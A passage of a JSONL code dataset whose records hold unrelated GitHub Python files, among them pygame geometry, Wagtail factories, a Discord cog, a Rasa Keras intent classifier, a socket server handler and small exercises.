round(self.get_angle(i),0)==round(self.get_angle(i+1),0):\r\n self.len_line(i,self.get_len(i)+self.get_len(i+1))\r\n self.dirt(i+1)\r\n del self.curvedat[i+1]\r\n self.regen(i)\r\n continue\r\n except:\r\n break\r\n i+=1\r\n def regenid(self,id=0,anchor=0):\r\n if anchor==0:\r\n if id>0:\r\n self.curvedat[id][0]=self.curvedat[id-1][3]\r\n self.curvedat[id][3]=self.curvedat[id][0].endpoint(self.curvedat[id][1],self.curvedat[id][2])\r\n else:\r\n self.curvedat[id][3]=self.curvedat[id][0].endpoint(self.curvedat[id][1],self.curvedat[id][2])\r\n elif anchor==1:\r\n if idids or id==-1:\r\n id=ids\r\n elif id360:\r\n angle-=360\r\n return angle\r\n\r\n","repo_name":"stackbox/code","sub_path":"pythons/pygame/pySnake/geom.py","file_name":"geom.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"10151747270","text":"import tkinter as tk\n\nwindow = tk.Tk()\ncanvas = tk.Canvas(window, width = 300, height = 300, background = \"white\")\ncanvas.pack()\n\n\ntriangle = [150,150, 145,145, 145,155]\n\nfa = canvas.create_polygon(triangle, fill = \"blue\", tag = \"fa\")\nfof = canvas.create_arc(0,0, 300,300, style=tk.PIESLICE, start=315, extent=90,fill='red')\n\nwindow.mainloop()","repo_name":"toadmo/firestorm","sub_path":"artiller.py","file_name":"artiller.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16479014628","text":"from django.conf import settings\nfrom factory import Faker, LazyAttribute, SubFactory\nfrom wagtail.models import Page as WagtailPage\nfrom wagtail.models import Site as WagtailSite\nfrom wagtail_factories import PageFactory\n\nfrom networkapi.utility.faker import StreamfieldProvider\nfrom networkapi.utility.faker.helpers import reseed\nfrom networkapi.wagtailpages.factory.image_factory import ImageFactory\nfrom networkapi.wagtailpages.factory.signup import SignupFactory\n\nfrom .models import MozfestHomepage, MozfestPrimaryPage\n\nstreamfield_fields = [\"paragraph\", \"image\", \"spacer\", \"quote\"]\nFaker.add_provider(StreamfieldProvider)\n\nis_review_app = False\nif settings.HEROKU_APP_NAME:\n is_review_app = True\n\n\nclass MozfestPrimaryPageFactory(PageFactory):\n class Meta:\n model = MozfestPrimaryPage\n exclude = \"header_text\"\n\n header = LazyAttribute(lambda o: o.header_text.rstrip(\".\"))\n banner = SubFactory(ImageFactory)\n intro = Faker(\"paragraph\", nb_sentences=3, variable_nb_sentences=False)\n body = Faker(\"streamfield\", fields=streamfield_fields)\n header_text = Faker(\"sentence\", nb_words=6, variable_nb_words=True)\n\n\nclass MozfestHomepageFactory(MozfestPrimaryPageFactory):\n class Meta:\n model = MozfestHomepage\n exclude = (\"header_text\", \"banner_heading_text\")\n\n banner_heading = \"Come with an idea, leave with a community.\"\n banner_guide_text = (\n \"Now in its 10th year, the Mozilla Festival is a seven-day \"\n \"gathering of educators, activists, technologists, artists, and \"\n \"young people dedicated to creating a better, healthier open internet.\"\n )\n banner_video_url = Faker(\"url\")\n banner_cta_label = \"Watch last year's recap video\"\n banner_heading_text = Faker(\"sentence\", nb_words=6, variable_nb_words=True)\n\n banner_carousel = Faker(\"streamfield\", fields=[\"banner_carousel\", \"banner_carousel\"])\n banner_video = Faker(\"streamfield\", fields=[\"banner_video\"])\n\n body = Faker(\"streamfield\", fields=streamfield_fields + [\"current_events_slider\"])\n\n signup = SubFactory(SignupFactory)\n\n\ndef generate(seed):\n reseed(seed)\n\n print(\"Generating Mozfest Homepage\")\n try:\n home_page = MozfestHomepage.objects.get(title=\"Mozilla Festival\")\n print(\"Homepage already exists\")\n except MozfestHomepage.DoesNotExist:\n print(\"Generating a Homepage\")\n site_root = WagtailPage.objects.get(depth=1)\n\n home_page = MozfestHomepageFactory.create(parent=site_root, title=\"Mozilla Festival\", slug=None)\n\n reseed(seed)\n\n print(\"Creating MozFest Site record in Wagtail\")\n tds = settings.TARGET_DOMAINS\n if tds and len(tds) > 1:\n # Assume that tds[0] is the main mofo domain, and tds[1] is the Mozfest domain\n hostname = tds[1]\n port = 80\n else:\n # use a localhost domain (must be set in /etc/hosts)\n hostname = \"mozfest.localhost\"\n port = 8000\n\n WagtailSite.objects.create(\n hostname=hostname,\n port=port,\n root_page=home_page,\n site_name=\"Mozilla Festival\",\n is_default_site=False,\n )\n\n print(\"Generating Mozfest sub-pages\")\n [\n MozfestPrimaryPageFactory.create(parent=home_page, title=title)\n for title in [\"Spaces\", \"Tickets\", \"Team\", \"Sponsors\"]\n ]\n","repo_name":"MozillaFoundation/foundation.mozilla.org","sub_path":"network-api/networkapi/mozfest/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","stars":344,"dataset":"github-code","pt":"72"} +{"seq_id":"5794789054","text":"'''Exercício Python 063: Escreva um programa que leia um número N inteiro qualquer e mostre na tela os N primeiros elementos de uma Sequência de Fibonacci. '''\nnum = int(input('Digite um número de termo para sequência Fibonacci: '))\ncont = 1\nanterior = 0\nproxima = 1\nsoma = 1\nwhile cont <= num:\n print(anterior, end='-')\n cont += 1\n soma = proxima + anterior\n anterior = proxima\n proxima = soma\nprint('Fim')\n","repo_name":"RichardRozin/Python","sub_path":"Exercicios Python Curso em Video/Mundo 2/ex063.py","file_name":"ex063.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29967723545","text":"import discord\nfrom discord.ext import commands\n\nfrom utils.functions import *\n\n\nclass Commands(commands.Cog):\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_ready(self):\n print(\"[ COG ] Commands is set\")\n\n @commands.slash_command(name=\"about\")\n async def about_this_bot(self, inter: discord.Interaction):\n e = discord.Embed(description=\"For all of Spotify Lover and my friends!\")\n e.add_field(name=\"source\", value=quote(toURL(\"GITHUB\", \"https://github.com/wuliao97/DiSpotify\")))\n\n await inter.response.send_message(embeds=[e])\n \n\n\ndef setup(bot: commands.Bot):\n return bot.add_cog(Commands(bot))\n","repo_name":"wuliao97/DiSpotify","sub_path":"cogs/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6044017557","text":"import numpy as np\nimport sys\n\nsys.path.append('/Users/thzeribi/BootCampPython/day03/ex01/')\nfrom ImageProcessor import ImageProcessor\n\nclass ScrapBooker:\n\t\"\"\"\n\tAll methods take in a NumPy array and return a new modified one.\n\tWe are assuming that all inputs are correct, ie,\n\tyou don't have to protect your functions against input errors.\n\t\"\"\"\n\n\tdef crop(self, array, dimensions, positions=(0,0)):\n\t\t\"\"\"\n\t\tCrop the image as a rectangle with the given dimensions (meaning, the new height and width for the image),\n\t\twhose top left corner is given by the position argument.\n\t\tThe position should be (0,0) by default.\n\t\t\"\"\"\n\t\tdimension = 0\n\t\tdimension = np.array(dimensions)\n\t\tposition = np.array(positions)\n\t\ts = np.array(array.shape)[:2]\n\t\tif (position > s).any() or (dimension > s).any() or (dimension < position[0]).any() or (dimension < position[1]).any() or (dimension <= 1).any():\n\t\t\traise BaseException(f\"The positions {position} + dimensions {dimensions} are greater than the image's dimensions {array.shape[0:2]}\")\n\t\treturn array[position[0]:dimension[0], position[1]:dimension[1]]\n\n\tdef thin(self, array, n, axis):\n\t\t\"\"\"delete ever n-th pixel row along the specified axis(0 vertical, 1 horizontal), example below.\"\"\"\n\t\tif n >= 200 or axis > 1 or n <= 1 or axis < 0:\n\t\t\traise BaseException(\"Error, n or axis is invalid\")\n\t\treturn np.delete(array, np.s_[::n], axis)\n\n\tdef juxtapose(self, array, n, axis=0):\n\t\t\"\"\"juxtapose n copies of the image along the specified axis (0 vertical, 1 horizontal).\"\"\"\n\t\tif axis == 1:\n\t\t\treturn np.hstack([array for _ in range(n)])\n\t\telif axis == 0:\n\t\t\treturn np.vstack([array for _ in range(n)])\n\n\tdef mosaic(self, array, dimensions):\n\t\t\"\"\"Make a grid with multiple copies of the array.\n\t\tThe dimensions argument specifies the dimensions(meaning the height and width) of the grid (e.g. 2x3).\"\"\"\n\t\tif dimensions[0] <= 0 or dimensions[1] <= 0:\n\t\t\traise BaseException(f\"Invalid dimensions {dimensions[0:2]}\")\n\t\tresult = self.juxtapose(array, dimensions[0], axis=0)\n\t\treturn self.juxtapose(result, dimensions[1], axis=1)\n\nif __name__ == '__main__':\n\timp = ImageProcessor()\n\tarr = imp.load(\"../ressources/42AI.png\")\n\t#imp.display(arr)\n\t#print(arr)\n\n\tsb = ScrapBooker()\n\t# dimensions.y , dimensions.x - position.y , position.x\n\timp.display(sb.crop(arr, (161, 185), positions=(141, 15)))\n\t#thinned = sb.thin(arr, n=(199), axis=(1))\n\t#print(f\"Thinned : {thinned.shape}\")\n\t#three_times = sb.juxtapose(arr, 5)\n\t#print(f\"shape of juxtapose: {three_times.shape}\")\n\t#imp.display(three_times)\n\t#mosaic = sb.mosaic(arr, (10, 5))\n\t#imp.display(mosaic)\n","repo_name":"TheoZerbibi/BootCamp42AI","sub_path":"Python/day03/ex02/ScrapBooker.py","file_name":"ScrapBooker.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73842675111","text":"def reverseVowels(s):\r\n ls = list(s)\r\n vowels = 'aeiouAEIOU'\r\n l, r = 0, len(ls) - 1\r\n while l < r:\r\n while ls[l] not in vowels and l < len(ls)-1:\r\n l += 1\r\n while ls[r] not in vowels and r > 0:\r\n r -= 1\r\n if l < r:\r\n ls[l], ls[r] = ls[r], ls[l]\r\n l += 1\r\n r -= 1\r\n return ''.join(ls)\r\n\r\n\r\n# # 双指针,左指针遇到一个元音字母,右指针就从后往前遍历,交换第一个元音字母\r\n# def reverseVowels(s):\r\n# x={'a','e','i','o','u','A','E','I','O','U'}\r\n# res=[]\r\n# j=len(s)-1\r\n# for i,k in enumerate(s):\r\n# if k in x: \r\n# while s[j] not in x:\r\n# j-=1\r\n# res.append(s[j])\r\n# j-=1\r\n# else:\r\n# res.append(k)\r\n# return ''.join(res)\r\n\r\n\r\nprint(reverseVowels(\"leetcode\"))\r\n ","repo_name":"YuanyuanQiu/LeetCode","sub_path":"0345 Reverse Vowels of a String.py","file_name":"0345 Reverse Vowels of a String.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8523266819","text":"import socket\nimport threading\nfrom server_package.executor import Executor\nfrom server_package.client_descriptor import ClientDescriptor\nfrom shared.errors.invalid_message_error import InvalidMessageError\nfrom shared.errors.disconnected_exception import DisconnectedException\nfrom shared.consts import PACKET_SIZE\nfrom shared.utils.message import get_message\n\n\ndef listen(current_client: ClientDescriptor, dispose_of_connection: callable, mutex: threading.Lock):\n executor = Executor(current_client, mutex)\n\n while True:\n try:\n message = _get_message(current_client.connection)\n\n executor.build_command(message)\n\n executor.execute()\n\n except InvalidMessageError:\n mutex.acquire()\n print('Invalid message received! Waiting for a new one')\n mutex.release()\n\n continue\n\n except FileNotFoundError:\n mutex.acquire()\n print('Such file doesn\\'t exist. Please try another one')\n mutex.release()\n\n continue\n\n # handle case with tcp keepalive timeout and\n # if client_package has disconnected softly during command execution\n except socket.timeout:\n _close_connection(current_client.connection, dispose_of_connection, mutex)\n\n mutex.acquire()\n print(f'Connection has timed out! Client {current_client.ip_address} was disconnected')\n mutex.release()\n\n break\n\n except DisconnectedException:\n _close_connection(current_client.connection, dispose_of_connection, mutex)\n\n mutex.acquire()\n print(\n 'Connection closed by client_package. ' +\n f'{current_client.ip_address} has disconnected from the server'\n )\n mutex.release()\n\n break\n\n except Exception as error:\n _close_connection(current_client.connection, dispose_of_connection, mutex)\n\n mutex.acquire()\n print(f'Unexpected error! {error}')\n mutex.release()\n\n break\n\n\ndef _get_message(connection: socket.socket):\n message = get_message(connection, PACKET_SIZE)\n\n if not message:\n raise DisconnectedException\n else:\n return message\n\n\ndef _close_connection(connection: socket.socket, dispose_of_connection: callable, mutex: threading.Lock):\n mutex.acquire()\n dispose_of_connection(connection)\n mutex.release()\n \n connection.close()\n","repo_name":"NasterVill/BSUIR_Labs","sub_path":"7 term/Local-Computer-Networks-System-Software/Lab 4/server_package/connection_handler.py","file_name":"connection_handler.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"72"} +{"seq_id":"17485916420","text":"\"\"\"Test for utils.py.\"\"\"\n\nimport pytest\nfrom ipt.utils import merge_dicts, compare_lists_of_dicts, serialize_dict, \\\n find_max_complete\n\nCODEC1 = {\"codec\": \"foo\"}\nCODEC2 = {\"codec\": \"bar\"}\nAUDIOMD1 = {\"audiomd\": [CODEC1]}\nAUDIOMD2 = {\"audiomd\": [CODEC2]}\nVIDEOMD = {\"codec\": \"foo\", \"duration\": \"bar\"}\nAUDIOVIDEOMD = {\"audiomd\": [CODEC1], \"videomd\": [VIDEOMD]}\nFORMAT1 = {'format': {'mimetype': None, 'version': '1.0'}}\nFORMAT2 = {'format': {'mimetype': 'image/ipeg', 'version': None}}\nFORMAT3 = {'format': {'mimetype': 'image/ipeg', 'version': None}}\n\n\ndef test_merge_dicts():\n \"\"\"Tests for merge dict.\"\"\"\n metadata_info = {'filename': \"sippi\"}\n addml = {\"addml\": {\"charset\": \"UTF-8\"}}\n\n # Simple merge\n metadata_info = merge_dicts(metadata_info, AUDIOMD1)\n assert metadata_info == {\"audiomd\": [{\"codec\": \"foo\"}],\n \"filename\": \"sippi\"}\n\n # Merge dicts that contain list-elements with same key\n metadata_info = merge_dicts(metadata_info, AUDIOMD2)\n assert metadata_info == {\"audiomd\": [\n {\"codec\": \"foo\"}, {\"codec\": \"bar\"}], \"filename\": \"sippi\"}\n\n # Merge dicts that contain multiple list-elements\n metadata_info = merge_dicts(metadata_info, AUDIOVIDEOMD)\n assert metadata_info == {\n \"audiomd\": [{\"codec\": \"foo\"}, {\"codec\": \"bar\"}, {\"codec\": \"foo\"}],\n \"filename\": \"sippi\",\n \"videomd\": [{\"codec\": \"foo\", \"duration\": \"bar\"}]}\n\n metadata_info = merge_dicts(metadata_info, addml)\n assert metadata_info == {\n \"audiomd\": [{\"codec\": \"foo\"}, {\"codec\": \"bar\"}, {\"codec\": \"foo\"}],\n \"filename\": \"sippi\",\n \"videomd\": [{\"codec\": \"foo\", \"duration\": \"bar\"}],\n \"addml\": {\"charset\": \"UTF-8\"}}\n\n # Merge dict in dict. Merge NoneType elements.\n metadata_info = merge_dicts(FORMAT1, FORMAT2)\n assert metadata_info == {'format': {'mimetype': 'image/ipeg',\n 'version': '1.0'}}\n\n # Try to merge dicts that contain duplicate values\n with pytest.raises(TypeError):\n merge_dicts(FORMAT2, FORMAT3)\n\n\ndef test_compare_lists_of_dicts():\n \"\"\"Test list comparison of dicts.\"\"\"\n assert compare_lists_of_dicts(None, None)\n assert compare_lists_of_dicts([CODEC1, CODEC2], [CODEC1, CODEC2])\n assert not compare_lists_of_dicts([CODEC1], None)\n assert not compare_lists_of_dicts(None, [CODEC1])\n assert not compare_lists_of_dicts([CODEC1, CODEC2], [CODEC1])\n assert not compare_lists_of_dicts([CODEC1], [CODEC1, CODEC2])\n assert not compare_lists_of_dicts([CODEC1], [CODEC1, CODEC1])\n assert not compare_lists_of_dicts([CODEC1, CODEC1], [CODEC1])\n\n\ndef test_serialize_dict():\n \"\"\"Test list serialization\"\"\"\n assert serialize_dict(CODEC1) == \"codec=foo\"\n assert serialize_dict({\"a\": \"b\", \"c\": \"d\"}) == \"a=b c=d\"\n assert serialize_dict({\"c\": \"d\", \"a\": \"b\"}) == \"a=b c=d\"\n\n\ndef test_find_max_complete():\n assert find_max_complete(None, None) == ([], [])\n assert find_max_complete([], []) == ([], [])\n\n list1 = [{\"format\": {\"mimetype\": \"video/mp4\",\n \"version\": None},\n \"video\": {\"width\": '1920',\n \"height\": '1080',\n \"avg_frame_rate\": \"25\"}},\n {\"format\": {\"mimetype\": \"video/mpeg\",\n \"version\": \"1\"},\n \"video\": {\"width\": '320',\n \"height\": '240',\n \"bit_rate\": '0.32',\n \"avg_frame_rate\": \"29.97\"}}]\n list2 = [{\"format\": {\"mimetype\": \"video/mp4\",\n \"version\": None},\n \"video\": {\"width\": '1920',\n \"height\": '1080',\n \"bit_rate\": '0.32',\n \"avg_frame_rate\": \"25\"}},\n {\"format\": {\"mimetype\": \"video/mpeg\",\n \"version\": \"1\"},\n \"video\": {\"width\": '320',\n \"bit_rate\": '0.32',\n \"avg_frame_rate\": \"29.97\"}}]\n expect = [{\"format\": {\"mimetype\": \"video/mp4\",\n \"version\": None},\n \"video\": {\"width\": '1920',\n \"avg_frame_rate\": \"25\"}},\n {\"format\": {\"mimetype\": \"video/mpeg\",\n \"version\": \"1\"},\n \"video\": {\"width\": '320',\n \"avg_frame_rate\": \"29.97\"}}]\n\n (res1, res2) = find_max_complete(list1, list2)\n assert res1 == expect\n assert res2 == expect\n\n (res1, res2) = find_max_complete(list1, list2, ['height'])\n expect[0]['video']['height'] = '1080'\n assert res2 == expect\n\n expect[1]['video']['height'] = '240'\n assert res1 == expect\n\n (res1, res2) = find_max_complete(\n list1, [{'format': {'foo': 'bar'}}], ['mimetype'])\n assert res1 == [{\"format\": {\"mimetype\": \"video/mp4\"}},\n {\"format\": {\"mimetype\": \"video/mpeg\"}}]\n assert res2 == [{'format': {}}]\n (res1, res2) = find_max_complete(\n [{'format': {'foo': 'bar'}}], None, ['format', 'mimetype'])\n assert res1 == [{'format': {'foo': 'bar'}}]\n assert res2 == []\n","repo_name":"Digital-Preservation-Finland/dpres-ipt-deprecated-2019-11-22","sub_path":"tests/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":5105,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"17108431500","text":"import logging\nimport random\nimport time\n\nimport cv2\nimport numpy as np\n\n\ndef plot_one_box(x, img, color=None, label=None, line_thickness=None):\n # Plots one bounding box on image img\n tl = line_thickness or round(\n 0.002 * (img.shape[0] + img.shape[1]) / 2) + 1 # line/font thickness\n color = color or [random.randint(0, 255) for _ in range(3)]\n c1, c2 = (int(x[0]), int(x[1])), (int(x[2]), int(x[3]))\n cv2.rectangle(img, c1, c2, color, thickness=tl, lineType=cv2.LINE_AA)\n if label:\n tf = max(tl - 1, 1) # font thickness\n t_size = cv2.getTextSize(label, 0, fontScale=tl / 3, thickness=tf)[0]\n c2 = c1[0] + t_size[0], c1[1] - t_size[1] - 3\n cv2.rectangle(img, c1, c2, color, -1, cv2.LINE_AA) # filled\n cv2.putText(img, label, (c1[0], c1[1] - 2), 0, tl / 3,\n [225, 255, 255], thickness=tf, lineType=cv2.LINE_AA)\n\n\nclass VideoPresenter:\n def __init__(self):\n self.last_show_time = time.time()\n self.fps = 0\n self.delay = 0\n\n def image_derializer(self, image_bytes):\n return cv2.imdecode(np.frombuffer(\n image_bytes, dtype=np.uint8), cv2.IMREAD_UNCHANGED)\n\n def show(self, message):\n frame = self.image_derializer(message.image_info.image)\n detections = message.detections\n for i, detection in enumerate(detections):\n if detection.confidence >= 0.5:\n label = f'{detection.category} {detection.confidence:.2f}'\n plot_one_box([detection.x1, detection.y1, detection.x2,\n detection.y2], frame, label=label, line_thickness=2)\n cv2.putText(frame, \"FPS: {} with {} secs delay\".format(self.fps, self.delay),\n (0, 20),\n cv2.FONT_HERSHEY_SIMPLEX,\n 1,\n (0, 255, 0),\n 2)\n cv2.imshow('Stream', frame)\n show_time = time.time() - self.last_show_time\n self.last_show_time = time.time()\n self.fps = int(1 / show_time)\n self.delay = time.time() - message.timestamp()[1] / 1000\n if cv2.waitKey(1) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n","repo_name":"kanniep/video-stream-processing","sub_path":"consumer/video_presenter.py","file_name":"video_presenter.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8709388095","text":"import os\nimport numpy as np\n\nfrom rasa.nlu.components import Component\nfrom rasa.nlu.classifiers import INTENT_RANKING_LENGTH\nfrom rasa.nlu import utils\n\nimport typing\nfrom typing import Any, Optional, Text, Dict\n\nif typing.TYPE_CHECKING:\n from rasa.nlu.model import Metadata\n\n\nclass KerasNN(Component):\n \"\"\"A new component\"\"\"\n\n language_list = None\n\n provides = ['intent', 'intent_ranking']\n\n requires = ['text_features']\n\n defaults = {\n # whether to use dropout\n 'use_dropout': True,\n 'dropout_rate': 0.5,\n # number of units in each dense layer,\n # i.e. one layer is created for each element in the list\n 'n_units': [256,]\n }\n\n def __init__(self, component_config=None, model=None, le=None,\n graph=None, session=None):\n from sklearn.preprocessing import LabelEncoder\n\n super(KerasNN, self).__init__(component_config)\n\n if le is not None:\n self.le = le\n else:\n self.le = LabelEncoder()\n self.model = model\n self.graph = graph\n self.session = session\n \n @classmethod\n def required_packages(cls):\n return ['sklearn', 'tensorflow']\n\n def _create_model(self, input_shape):\n \"\"\"Create the model.\"\"\"\n from tensorflow.keras import layers\n from tensorflow.keras import models\n\n inp = layers.Input(shape=input_shape)\n x = inp\n for units in self.component_config['n_units']:\n x = layers.Dense(units, activation='relu')(x)\n \n if self.component_config['use_dropout']:\n x = layers.Dropout(self.component_config['dropout_rate'])(x)\n \n out = layers.Dense(len(self.le.classes_), activation='softmax')(x)\n\n model = models.Model(inp, out)\n\n model.compile(loss='sparse_categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n return model\n\n def train(self, training_data, cfg, **kwargs):\n \"\"\"Train this component.\"\"\"\n import tensorflow as tf\n from tensorflow.keras import callbacks\n \n labels = [e.get('intent') for e in training_data.intent_examples]\n\n y = self.le.fit_transform(labels)\n if len(self.le.classes_) < 2:\n raise RuntimeError(\"The number of different intents must be at least 2.\")\n \n X = np.stack(\n [\n example.get('text_features') \n for example in training_data.intent_examples\n ]\n )\n\n self.graph = tf.Graph()\n with self.graph.as_default():\n self.session = tf.Session()\n with self.session.as_default():\n self.model = self._create_model(X.shape[1:])\n\n callback = [\n callbacks.EarlyStopping(monitor='loss', min_delta=1e-3, patience=5,\n restore_best_weights=True),\n callbacks.EarlyStopping(monitor='acc', min_delta=1e-3, patience=5,\n restore_best_weights=True)\n ]\n\n self.model.fit(X, y, batch_size=128, epochs=200, callbacks=callback)\n\n def process(self, message, **kwargs):\n \"\"\"Process an incoming message.\"\"\"\n import tensorflow\n from tensorflow.keras import backend\n\n if not self.model:\n # probably has not been trained yet\n intent = None\n intent_ranking = []\n else:\n X = message.get('text_features').reshape(1,-1)\n \n with self.graph.as_default(), self.session.as_default():\n intent_probs = self.model.predict(X)[0]\n\n if intent_probs.size > 0:\n intent_ids = np.argsort(intent_probs)[::-1]\n intents = self.le.inverse_transform(intent_ids)\n intent_probs = intent_probs[intent_ids].flatten()\n ranking = list(zip(list(intents), list(intent_probs)))[\n :INTENT_RANKING_LENGTH\n ]\n\n intent = {'name': intents[0], 'confidence': float(intent_probs[0])}\n intent_ranking = [\n {'name': intent_name, 'confidence': float(score)}\n for intent_name, score in ranking\n ]\n else:\n intent = {'name': None, 'confidence': 0.0}\n intent_ranking = []\n\n message.set('intent', intent, add_to_output=True)\n message.set('intent_ranking', intent_ranking, add_to_output=True)\n\n def persist(self,\n file_name: Text,\n model_dir: Text) -> Optional[Dict[Text, Any]]:\n \"\"\"Persist this component to disk for future loading.\"\"\"\n\n model_file_name = file_name + '_model.h5'\n encoder_file_name = file_name + '_encoder.pkl'\n if self.model and self.le:\n with self.graph.as_default(), self.session.as_default():\n self.model.save(os.path.join(model_dir, model_file_name))\n utils.json_pickle(\n os.path.join(model_dir, encoder_file_name), self.le.classes_\n )\n \n return {'model': model_file_name, 'encoder': encoder_file_name}\n \n\n @classmethod\n def load(cls,\n meta: Dict[Text, Any],\n model_dir: Optional[Text] = None,\n model_metadata: Optional['Metadata'] = None,\n cached_component: Optional['Component'] = None,\n **kwargs: Any\n ) -> 'Component':\n \"\"\"Load this component from file.\"\"\"\n \n from sklearn.preprocessing import LabelEncoder\n from tensorflow.keras.models import load_model\n from tensorflow.keras import backend\n import tensorflow as tf\n\n model_file = os.path.join(model_dir, meta.get('model'))\n encoder_file = os.path.join(model_dir, meta.get('encoder'))\n\n if os.path.exists(model_file):\n graph = tf.Graph()\n with graph.as_default():\n session = tf.Session()\n with session.as_default():\n model = load_model(model_file)\n classes = utils.json_unpickle(encoder_file)\n encoder = LabelEncoder()\n encoder.classes_ = classes\n return cls(meta, model, encoder, graph=graph, session=session)\n else:\n return cls(meta)","repo_name":"hpi-schul-cloud/cui","sub_path":"rasa/rasa_mod_keras_nn.py","file_name":"rasa_mod_keras_nn.py","file_ext":"py","file_size_in_byte":6435,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"38634527124","text":"\n\ndef parseJoystick(input):\n try:\n key, value = input.split(\":\")\n # print(\"key: %s\"%key)\n # print(\"value: %s\"%value)\n except ValueError:\n print(\"ValueError unknown telegram\")\n return None, None\n \n if key == \"joystick\":\n index_xval = value.find(\"xval=\")\n index_sep = value.find(\"&\")\n index_yval = value.find(\"yval=\")\n index_end = len(value) + 1 \n\n xVal = value[index_xval+5:index_sep]\n yVal = value[index_yval+5:index_end]\n return int(xVal), int(yVal)\n else:\n return None, None","repo_name":"neobonde/PyRo","sub_path":"src/Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43367022520","text":"from tkinter import *\nimport os\nimport subprocess\n\nroot = Tk()\ntheLabel = Label(root, text=\"Folow the putun please\")\ntheLabel.pack()\ntop= Frame(root)\ntop.pack()\nbottomFrame =Label(root)\nbottomFrame.pack(side=BOTTOM)\nphoto=PhotoImage(file=\"ind.png\")\ntheLabel=Label(root, image=photo)\ntheLabel.pack()\ndef list ():\n exec= \"services.msc\"\n # subprocess\n os.system(exec)\nbutton1=Button(top, text=\"Record\" , fg=\"red\" , command=list)\nbutton2=Button(top, text=\"press to enter the name of butun\" , fg=\"blue\",command=photo)\nbutton3=Button(bottomFrame, text=\"end Record\" , fg=\"green\" ,command=bottomFrame.quit)\nbutton1.pack()\nbutton2.pack()\nbutton3.pack()\nroot.mainloop()","repo_name":"barustnt/db_python","sub_path":"GUI2.py","file_name":"GUI2.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"36889018407","text":"from pathlib import Path\nfrom os import listdir\n\nBASE_DATA_PATH = Path('C:/Users/Sanchez/Desktop/m4data/')\nTEMP_DATA_PATH = Path('D:/m4temp')\nANALYSIS_PATH = BASE_DATA_PATH / 'analysis'\nRESULTS_PATH = BASE_DATA_PATH / 'results'\nCSV_PATH = BASE_DATA_PATH / 'csv_mappings'\nMEMVIZ_DATA_PATH = BASE_DATA_PATH / 'memviz'\n\n# DOCMODELS_PATH = BASE_DATA_PATH / 'docmodels'\nDOCMODELS_PATH = TEMP_DATA_PATH / 'docmodels'\n\ntry:\n DOCMODEL_PATHS_LIST = [DOCMODELS_PATH / p for p in listdir(DOCMODELS_PATH)]\nexcept FileNotFoundError:\n DOCMODEL_PATHS_LIST = None\n print('FileNotFoundError on DOCMODELS_PATH, operations requiring to load docmodels will not work')\n\nTAGCOUNTERS_PATH = ANALYSIS_PATH / 'tagcounters'\nLEXCOUNTS_PATH = ANALYSIS_PATH / 'lexcats'\nCOOCS_PATH = ANALYSIS_PATH / 'coocs'\nLDA_PATH = ANALYSIS_PATH / 'lda'\nKMEANS_PATH = ANALYSIS_PATH / 'kmeans'\nLDA_OLD_PATH = ANALYSIS_PATH / 'lda_old'\n\n# CSV Mappings paths\nLEXICON_CSV_PATH = CSV_PATH / 'lexicon.csv'\nDOCTYPE_CATS_CSV_PATH = CSV_PATH / 'doctype_cats.csv'\nSECONDARY_SUBJECTS_CSV_PATH = CSV_PATH / 'secondary_subjects.csv'\n\n\nRND_SEED = 2112\n\nTOPIC_MAPPING = {'topic_0': 'Population-region',\n 'topic_1': 'Animal models',\n 'topic_2': 'Demographics',\n 'topic_3': 'Exposure factors',\n 'topic_4': 'Enzyme-production',\n 'topic_5': 'Plant genetics and species',\n 'topic_6': 'Genetic pathway',\n 'topic_7': 'Community health',\n 'topic_8': 'Survey-report',\n 'topic_9': 'Orthopaedic trauma',\n 'topic_10': 'Health research and policy',\n 'topic_11': 'Method-measurement',\n 'topic_12': 'Genetic transcription',\n 'topic_13': 'Hematology',\n 'topic_14': 'Infection-virus',\n 'topic_15': 'Test and prediction',\n 'topic_16': 'Genotype-phenotype',\n 'topic_17': 'Linguistic emphasis (jargon)',\n 'topic_18': 'Evolution and phylogenetics',\n 'topic_19': 'Bacteria',\n 'topic_20': 'Cell-oncology',\n 'topic_21': 'Chemical',\n 'topic_22': 'Mental health',\n 'topic_23': 'Rheumatology',\n 'topic_24': 'Mosquito-malaria',\n 'topic_25': 'Network-model',\n 'topic_26': 'Public health',\n 'topic_27': 'Physical activity',\n 'topic_28': 'Cell signaling',\n 'topic_29': 'Cell development',\n 'topic_30': 'PCR',\n 'topic_31': 'Nervous system',\n 'topic_32': 'Weight-obesity',\n 'topic_33': 'Screening',\n 'topic_34': 'Statistics',\n 